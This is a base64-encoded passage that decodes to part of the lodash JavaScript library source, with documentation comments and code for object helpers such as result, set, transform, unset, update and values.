tIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIHByb3BlcnR5IHRvIHJlc29sdmUuXG4gICAgICogQHBhcmFtIHsqfSBbZGVmYXVsdFZhbHVlXSBUaGUgdmFsdWUgcmV0dXJuZWQgZm9yIGB1bmRlZmluZWRgIHJlc29sdmVkIHZhbHVlcy5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgcmVzb2x2ZWQgdmFsdWUuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogW3sgJ2InOiB7ICdjMSc6IDMsICdjMic6IF8uY29uc3RhbnQoNCkgfSB9XSB9O1xuICAgICAqXG4gICAgICogXy5yZXN1bHQob2JqZWN0LCAnYVswXS5iLmMxJyk7XG4gICAgICogLy8gPT4gM1xuICAgICAqXG4gICAgICogXy5yZXN1bHQob2JqZWN0LCAnYVswXS5iLmMyJyk7XG4gICAgICogLy8gPT4gNFxuICAgICAqXG4gICAgICogXy5yZXN1bHQob2JqZWN0LCAnYVswXS5iLmMzJywgJ2RlZmF1bHQnKTtcbiAgICAgKiAvLyA9PiAnZGVmYXVsdCdcbiAgICAgKlxuICAgICAqIF8ucmVzdWx0KG9iamVjdCwgJ2FbMF0uYi5jMycsIF8uY29uc3RhbnQoJ2RlZmF1bHQnKSk7XG4gICAgICogLy8gPT4gJ2RlZmF1bHQnXG4gICAgICovXG4gICAgZnVuY3Rpb24gcmVzdWx0KG9iamVjdCwgcGF0aCwgZGVmYXVsdFZhbHVlKSB7XG4gICAgICBwYXRoID0gY2FzdFBhdGgocGF0aCwgb2JqZWN0KTtcblxuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgbGVuZ3RoID0gcGF0aC5sZW5ndGg7XG5cbiAgICAgIC8vIEVuc3VyZSB0aGUgbG9vcCBpcyBlbnRlcmVkIHdoZW4gcGF0aCBpcyBlbXB0eS5cbiAgICAgIGlmICghbGVuZ3RoKSB7XG4gICAgICAgIGxlbmd0aCA9IDE7XG4gICAgICAgIG9iamVjdCA9IHVuZGVmaW5lZDtcbiAgICAgIH1cbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciB2YWx1ZSA9IG9iamVjdCA9PSBudWxsID8gdW5kZWZpbmVkIDogb2JqZWN0W3RvS2V5KHBhdGhbaW5kZXhdKV07XG4gICAgICAgIGlmICh2YWx1ZSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgaW5kZXggPSBsZW5ndGg7XG4gICAgICAgICAgdmFsdWUgPSBkZWZhdWx0VmFsdWU7XG4gICAgICAgIH1cbiAgICAgICAgb2JqZWN0ID0gaXNGdW5jdGlvbih2YWx1ZSkgPyB2YWx1ZS5jYWxsKG9iamVjdCkgOiB2YWx1ZTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBvYmplY3Q7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogU2V0cyB0aGUgdmFsdWUgYXQgYHBhdGhgIG9mIGBvYmplY3RgLiBJZiBhIHBvcnRpb24gb2YgYHBhdGhgIGRvZXNuJ3QgZXhpc3QsXG4gICAgICogaXQncyBjcmVhdGVkLiBBcnJheXMgYXJlIGNyZWF0ZWQgZm9yIG1pc3NpbmcgaW5kZXggcHJvcGVydGllcyB3aGlsZSBvYmplY3RzXG4gICAgICogYXJlIGNyZWF0ZWQgZm9yIGFsbCBvdGhlciBtaXNzaW5nIHByb3BlcnRpZXMuIFVzZSBgXy5zZXRXaXRoYCB0byBjdXN0b21pemVcbiAgICAgKiBgcGF0aGAgY3JlYXRpb24uXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgbXV0YXRlcyBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjcuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBwcm9wZXJ0eSB0byBzZXQuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gc2V0LlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogW3sgJ2InOiB7ICdjJzogMyB9IH1dIH07XG4gICAgICpcbiAgICAgKiBfLnNldChvYmplY3QsICdhWzBdLmIuYycsIDQpO1xuICAgICAqIGNvbnNvbGUubG9nKG9iamVjdC5hWzBdLmIuYyk7XG4gICAgICogLy8gPT4gNFxuICAgICAqXG4gICAgICogXy5zZXQob2JqZWN0LCBbJ3gnLCAnMCcsICd5JywgJ3onXSwgNSk7XG4gICAgICogY29uc29sZS5sb2cob2JqZWN0LnhbMF0ueS56KTtcbiAgICAgKiAvLyA9PiA1XG4gICAgICovXG4gICAgZnVuY3Rpb24gc2V0KG9iamVjdCwgcGF0aCwgdmFsdWUpIHtcbiAgICAgIHJldHVybiBvYmplY3QgPT0gbnVsbCA/IG9iamVjdCA6IGJhc2VTZXQob2JqZWN0LCBwYXRoLCB2YWx1ZSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5zZXRgIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGN1c3RvbWl6ZXJgIHdoaWNoIGlzXG4gICAgICogaW52b2tlZCB0byBwcm9kdWNlIHRoZSBvYmplY3RzIG9mIGBwYXRoYC4gIElmIGBjdXN0b21pemVyYCByZXR1cm5zIGB1bmRlZmluZWRgXG4gICAgICogcGF0aCBjcmVhdGlvbiBpcyBoYW5kbGVkIGJ5IHRoZSBtZXRob2QgaW5zdGVhZC4gVGhlIGBjdXN0b21pemVyYCBpcyBpbnZva2VkXG4gICAgICogd2l0aCB0aHJlZSBhcmd1bWVudHM6IChuc1ZhbHVlLCBrZXksIG5zT2JqZWN0KS5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBtdXRhdGVzIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBtb2RpZnkuXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIHByb3BlcnR5IHRvIHNldC5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBzZXQuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2N1c3RvbWl6ZXJdIFRoZSBmdW5jdGlvbiB0byBjdXN0b21pemUgYXNzaWduZWQgdmFsdWVzLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7fTtcbiAgICAgKlxuICAgICAqIF8uc2V0V2l0aChvYmplY3QsICdbMF1bMV0nLCAnYScsIE9iamVjdCk7XG4gICAgICogLy8gPT4geyAnMCc6IHsgJzEnOiAnYScgfSB9XG4gICAgICovXG4gICAgZnVuY3Rpb24gc2V0V2l0aChvYmplY3QsIHBhdGgsIHZhbHVlLCBjdXN0b21pemVyKSB7XG4gICAgICBjdXN0b21pemVyID0gdHlwZW9mIGN1c3RvbWl6ZXIgPT0gJ2Z1bmN0aW9uJyA/IGN1c3RvbWl6ZXIgOiB1bmRlZmluZWQ7XG4gICAgICByZXR1cm4gb2JqZWN0ID09IG51bGwgPyBvYmplY3QgOiBiYXNlU2V0KG9iamVjdCwgcGF0aCwgdmFsdWUsIGN1c3RvbWl6ZXIpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gYXJyYXkgb2Ygb3duIGVudW1lcmFibGUgc3RyaW5nIGtleWVkLXZhbHVlIHBhaXJzIGZvciBgb2JqZWN0YFxuICAgICAqIHdoaWNoIGNhbiBiZSBjb25zdW1lZCBieSBgXy5mcm9tUGFpcnNgLiBJZiBgb2JqZWN0YCBpcyBhIG1hcCBvciBzZXQsIGl0c1xuICAgICAqIGVudHJpZXMgYXJlIHJldHVybmVkLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGFsaWFzIGVudHJpZXNcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUga2V5LXZhbHVlIHBhaXJzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBGb28oKSB7XG4gICAgICogICB0aGlzLmEgPSAxO1xuICAgICAqICAgdGhpcy5iID0gMjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBGb28ucHJvdG90eXBlLmMgPSAzO1xuICAgICAqXG4gICAgICogXy50b1BhaXJzKG5ldyBGb28pO1xuICAgICAqIC8vID0+IFtbJ2EnLCAxXSwgWydiJywgMl1dIChpdGVyYXRpb24gb3JkZXIgaXMgbm90IGd1YXJhbnRlZWQpXG4gICAgICovXG4gICAgdmFyIHRvUGFpcnMgPSBjcmVhdGVUb1BhaXJzKGtleXMpO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiBvd24gYW5kIGluaGVyaXRlZCBlbnVtZXJhYmxlIHN0cmluZyBrZXllZC12YWx1ZSBwYWlyc1xuICAgICAqIGZvciBgb2JqZWN0YCB3aGljaCBjYW4gYmUgY29uc3VtZWQgYnkgYF8uZnJvbVBhaXJzYC4gSWYgYG9iamVjdGAgaXMgYSBtYXBcbiAgICAgKiBvciBzZXQsIGl0cyBlbnRyaWVzIGFyZSByZXR1cm5lZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBhbGlhcyBlbnRyaWVzSW5cbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUga2V5LXZhbHVlIHBhaXJzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBGb28oKSB7XG4gICAgICogICB0aGlzLmEgPSAxO1xuICAgICAqICAgdGhpcy5iID0gMjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBGb28ucHJvdG90eXBlLmMgPSAzO1xuICAgICAqXG4gICAgICogXy50b1BhaXJzSW4obmV3IEZvbyk7XG4gICAgICogLy8gPT4gW1snYScsIDFdLCBbJ2InLCAyXSwgWydjJywgM11dIChpdGVyYXRpb24gb3JkZXIgaXMgbm90IGd1YXJhbnRlZWQpXG4gICAgICovXG4gICAgdmFyIHRvUGFpcnNJbiA9IGNyZWF0ZVRvUGFpcnMoa2V5c0luKTtcblxuICAgIC8qKlxuICAgICAqIEFuIGFsdGVybmF0aXZlIHRvIGBfLnJlZHVjZWA7IHRoaXMgbWV0aG9kIHRyYW5zZm9ybXMgYG9iamVjdGAgdG8gYSBuZXdcbiAgICAgKiBgYWNjdW11bGF0b3JgIG9iamVjdCB3aGljaCBpcyB0aGUgcmVzdWx0IG9mIHJ1bm5pbmcgZWFjaCBvZiBpdHMgb3duXG4gICAgICogZW51bWVyYWJsZSBzdHJpbmcga2V5ZWQgcHJvcGVydGllcyB0aHJ1IGBpdGVyYXRlZWAsIHdpdGggZWFjaCBpbnZvY2F0aW9uXG4gICAgICogcG90ZW50aWFsbHkgbXV0YXRpbmcgdGhlIGBhY2N1bXVsYXRvcmAgb2JqZWN0LiBJZiBgYWNjdW11bGF0b3JgIGlzIG5vdFxuICAgICAqIHByb3ZpZGVkLCBhIG5ldyBvYmplY3Qgd2l0aCB0aGUgc2FtZSBgW1tQcm90b3R5cGVdXWAgd2lsbCBiZSB1c2VkLiBUaGVcbiAgICAgKiBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggZm91ciBhcmd1bWVudHM6IChhY2N1bXVsYXRvciwgdmFsdWUsIGtleSwgb2JqZWN0KS5cbiAgICAgKiBJdGVyYXRlZSBmdW5jdGlvbnMgbWF5IGV4aXQgaXRlcmF0aW9uIGVhcmx5IGJ5IGV4cGxpY2l0bHkgcmV0dXJuaW5nIGBmYWxzZWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMS4zLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcGFyYW0geyp9IFthY2N1bXVsYXRvcl0gVGhlIGN1c3RvbSBhY2N1bXVsYXRvciB2YWx1ZS5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgYWNjdW11bGF0ZWQgdmFsdWUuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udHJhbnNmb3JtKFsyLCAzLCA0XSwgZnVuY3Rpb24ocmVzdWx0LCBuKSB7XG4gICAgICogICByZXN1bHQucHVzaChuICo9IG4pO1xuICAgICAqICAgcmV0dXJuIG4gJSAyID09IDA7XG4gICAgICogfSwgW10pO1xuICAgICAqIC8vID0+IFs0LCA5XVxuICAgICAqXG4gICAgICogXy50cmFuc2Zvcm0oeyAnYSc6IDEsICdiJzogMiwgJ2MnOiAxIH0sIGZ1bmN0aW9uKHJlc3VsdCwgdmFsdWUsIGtleSkge1xuICAgICAqICAgKHJlc3VsdFt2YWx1ZV0gfHwgKHJlc3VsdFt2YWx1ZV0gPSBbXSkpLnB1c2goa2V5KTtcbiAgICAgKiB9LCB7fSk7XG4gICAgICogLy8gPT4geyAnMSc6IFsnYScsICdjJ10sICcyJzogWydiJ10gfVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRyYW5zZm9ybShvYmplY3QsIGl0ZXJhdGVlLCBhY2N1bXVsYXRvcikge1xuICAgICAgdmFyIGlzQXJyID0gaXNBcnJheShvYmplY3QpLFxuICAgICAgICAgIGlzQXJyTGlrZSA9IGlzQXJyIHx8IGlzQnVmZmVyKG9iamVjdCkgfHwgaXNUeXBlZEFycmF5KG9iamVjdCk7XG5cbiAgICAgIGl0ZXJhdGVlID0gZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDQpO1xuICAgICAgaWYgKGFjY3VtdWxhdG9yID09IG51bGwpIHtcbiAgICAgICAgdmFyIEN0b3IgPSBvYmplY3QgJiYgb2JqZWN0LmNvbnN0cnVjdG9yO1xuICAgICAgICBpZiAoaXNBcnJMaWtlKSB7XG4gICAgICAgICAgYWNjdW11bGF0b3IgPSBpc0FyciA/IG5ldyBDdG9yIDogW107XG4gICAgICAgIH1cbiAgICAgICAgZWxzZSBpZiAoaXNPYmplY3Qob2JqZWN0KSkge1xuICAgICAgICAgIGFjY3VtdWxhdG9yID0gaXNGdW5jdGlvbihDdG9yKSA/IGJhc2VDcmVhdGUoZ2V0UHJvdG90eXBlKG9iamVjdCkpIDoge307XG4gICAgICAgIH1cbiAgICAgICAgZWxzZSB7XG4gICAgICAgICAgYWNjdW11bGF0b3IgPSB7fTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgKGlzQXJyTGlrZSA/IGFycmF5RWFjaCA6IGJhc2VGb3JPd24pKG9iamVjdCwgZnVuY3Rpb24odmFsdWUsIGluZGV4LCBvYmplY3QpIHtcbiAgICAgICAgcmV0dXJuIGl0ZXJhdGVlKGFjY3VtdWxhdG9yLCB2YWx1ZSwgaW5kZXgsIG9iamVjdCk7XG4gICAgICB9KTtcbiAgICAgIHJldHVybiBhY2N1bXVsYXRvcjtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBSZW1vdmVzIHRoZSBwcm9wZXJ0eSBhdCBgcGF0aGAgb2YgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgbXV0YXRlcyBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBwcm9wZXJ0eSB0byB1bnNldC5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgdGhlIHByb3BlcnR5IGlzIGRlbGV0ZWQsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiBbeyAnYic6IHsgJ2MnOiA3IH0gfV0gfTtcbiAgICAgKiBfLnVuc2V0KG9iamVjdCwgJ2FbMF0uYi5jJyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogY29uc29sZS5sb2cob2JqZWN0KTtcbiAgICAgKiAvLyA9PiB7ICdhJzogW3sgJ2InOiB7fSB9XSB9O1xuICAgICAqXG4gICAgICogXy51bnNldChvYmplY3QsIFsnYScsICcwJywgJ2InLCAnYyddKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhvYmplY3QpO1xuICAgICAqIC8vID0+IHsgJ2EnOiBbeyAnYic6IHt9IH1dIH07XG4gICAgICovXG4gICAgZnVuY3Rpb24gdW5zZXQob2JqZWN0LCBwYXRoKSB7XG4gICAgICByZXR1cm4gb2JqZWN0ID09IG51bGwgPyB0cnVlIDogYmFzZVVuc2V0KG9iamVjdCwgcGF0aCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5zZXRgIGV4Y2VwdCB0aGF0IGFjY2VwdHMgYHVwZGF0ZXJgIHRvIHByb2R1Y2UgdGhlXG4gICAgICogdmFsdWUgdG8gc2V0LiBVc2UgYF8udXBkYXRlV2l0aGAgdG8gY3VzdG9taXplIGBwYXRoYCBjcmVhdGlvbi4gVGhlIGB1cGRhdGVyYFxuICAgICAqIGlzIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ6ICh2YWx1ZSkuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgbXV0YXRlcyBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjYuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBwcm9wZXJ0eSB0byBzZXQuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gdXBkYXRlciBUaGUgZnVuY3Rpb24gdG8gcHJvZHVjZSB0aGUgdXBkYXRlZCB2YWx1ZS5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0ID0geyAnYSc6IFt7ICdiJzogeyAnYyc6IDMgfSB9XSB9O1xuICAgICAqXG4gICAgICogXy51cGRhdGUob2JqZWN0LCAnYVswXS5iLmMnLCBmdW5jdGlvbihuKSB7IHJldHVybiBuICogbjsgfSk7XG4gICAgICogY29uc29sZS5sb2cob2JqZWN0LmFbMF0uYi5jKTtcbiAgICAgKiAvLyA9PiA5XG4gICAgICpcbiAgICAgKiBfLnVwZGF0ZShvYmplY3QsICd4WzBdLnkueicsIGZ1bmN0aW9uKG4pIHsgcmV0dXJuIG4gPyBuICsgMSA6IDA7IH0pO1xuICAgICAqIGNvbnNvbGUubG9nKG9iamVjdC54WzBdLnkueik7XG4gICAgICogLy8gPT4gMFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHVwZGF0ZShvYmplY3QsIHBhdGgsIHVwZGF0ZXIpIHtcbiAgICAgIHJldHVybiBvYmplY3QgPT0gbnVsbCA/IG9iamVjdCA6IGJhc2VVcGRhdGUob2JqZWN0LCBwYXRoLCBjYXN0RnVuY3Rpb24odXBkYXRlcikpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8udXBkYXRlYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBjdXN0b21pemVyYCB3aGljaCBpc1xuICAgICAqIGludm9rZWQgdG8gcHJvZHVjZSB0aGUgb2JqZWN0cyBvZiBgcGF0aGAuICBJZiBgY3VzdG9taXplcmAgcmV0dXJucyBgdW5kZWZpbmVkYFxuICAgICAqIHBhdGggY3JlYXRpb24gaXMgaGFuZGxlZCBieSB0aGUgbWV0aG9kIGluc3RlYWQuIFRoZSBgY3VzdG9taXplcmAgaXMgaW52b2tlZFxuICAgICAqIHdpdGggdGhyZWUgYXJndW1lbnRzOiAobnNWYWx1ZSwga2V5LCBuc09iamVjdCkuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgbXV0YXRlcyBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjYuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBwcm9wZXJ0eSB0byBzZXQuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gdXBkYXRlciBUaGUgZnVuY3Rpb24gdG8gcHJvZHVjZSB0aGUgdXBkYXRlZCB2YWx1ZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY3VzdG9taXplcl0gVGhlIGZ1bmN0aW9uIHRvIGN1c3RvbWl6ZSBhc3NpZ25lZCB2YWx1ZXMuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHt9O1xuICAgICAqXG4gICAgICogXy51cGRhdGVXaXRoKG9iamVjdCwgJ1swXVsxXScsIF8uY29uc3RhbnQoJ2EnKSwgT2JqZWN0KTtcbiAgICAgKiAvLyA9PiB7ICcwJzogeyAnMSc6ICdhJyB9IH1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB1cGRhdGVXaXRoKG9iamVjdCwgcGF0aCwgdXBkYXRlciwgY3VzdG9taXplcikge1xuICAgICAgY3VzdG9taXplciA9IHR5cGVvZiBjdXN0b21pemVyID09ICdmdW5jdGlvbicgPyBjdXN0b21pemVyIDogdW5kZWZpbmVkO1xuICAgICAgcmV0dXJuIG9iamVjdCA9PSBudWxsID8gb2JqZWN0IDogYmFzZVVwZGF0ZShvYmplY3QsIHBhdGgsIGNhc3RGdW5jdGlvbih1cGRhdGVyKSwgY3VzdG9taXplcik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB0aGUgb3duIGVudW1lcmFibGUgc3RyaW5nIGtleWVkIHByb3BlcnR5IHZhbHVlcyBvZiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBOb24tb2JqZWN0IHZhbHVlcyBhcmUgY29lcmNlZCB0byBvYmplY3RzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGFycmF5IG9mIHByb3BlcnR5IHZhbHVlcy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gRm9vKCkge1xuICAgICAqICAgdGhpcy5hID0gMTtcbiAgICAgKiAgIHRoaXMuYiA9IDI7XG4gICAgICogfVxuICAgICAqXG4gICAgICogRm9vLnByb3RvdHlwZS5jID0gMztcbiAgICAgKlxuICAgICAqIF8udmFsdWVzKG5ldyBGb28pO1xuICAgICAqIC8vID0+IFsxLCAyXSAoaXRlcmF0aW9uIG9yZGVyIGlzIG5vdCBndWFyYW50ZWVkKVxuICAgICAqXG4gICAgICogXy52YWx1ZXMoJ2hpJyk7XG4gICAgICogLy8gPT4gWydoJywgJ2knXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHZhbHVlcyhvYmplY3QpIHtcbiAgICAgIHJldHVybiBvYmplY3QgPT0gbnVsbCA/IFtdIDogYmFzZVZhbHVlcyhvYmplY3QsIGtleXMob2JqZWN0KSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB0aGUgb3duIGFuZCBpbmhlcml0ZWQgZW51bWVyYWJsZSBzdHJpbmcga2V5ZWQgcHJvcGVydHlcbiAgICAgKiB2YWx1ZXMgb2YgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogTm9uLW9iamVjdCB2YWx1ZXMgYXJlIGNvZXJjZWQgdG8gb2JqZWN0cy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBhcnJheSBvZiBwcm9wZXJ0eSB2YWx1ZXMuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIEZvbygpIHtcbiAgICAgKiAgIHRoaXMuYSA9IDE7XG4gICAgICogICB0aGlzLmIgPSAyO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIEZvby5wcm90b3R5cGUuYyA9IDM7XG4gICAgICpcbiAgICAgKiBfLnZhbHVlc0luKG5ldyBGb28pO1xuICAgICAqIC8vID0+IFsxLCAyLCAzXSAoaXRlcmF0aW9uIG9yZGVyIGlzIG5vdCBndWFyYW50ZWVkKVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHZhbHVlc0luKG9iamVjdCkge1xuICAgICAgcmV0dXJuIG9iamVjdCA9PSBudWxsID8gW10gOiBiYXNlVmFsdWVzKG9iamVjdCwga2V5c0luKG9iamVjdCkpO1xuICAgIH1cblxuICAgIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuICAgIC8qKlxuICAgICAqIENsYW1wcyBgbnVtYmVyYCB3aXRoaW4gdGhlIGluY2x1c2l2ZSBgbG93ZXJgIGFuZCBgdXBwZXJgIGJvdW5kcy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBOdW1iZXJcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbnVtYmVyIFRoZSBudW1iZXIgdG8gY2xhbXAuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtsb3dlcl0gVGhlIGxvd2VyIGJvdW5kLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSB1cHBlciBUaGUgdX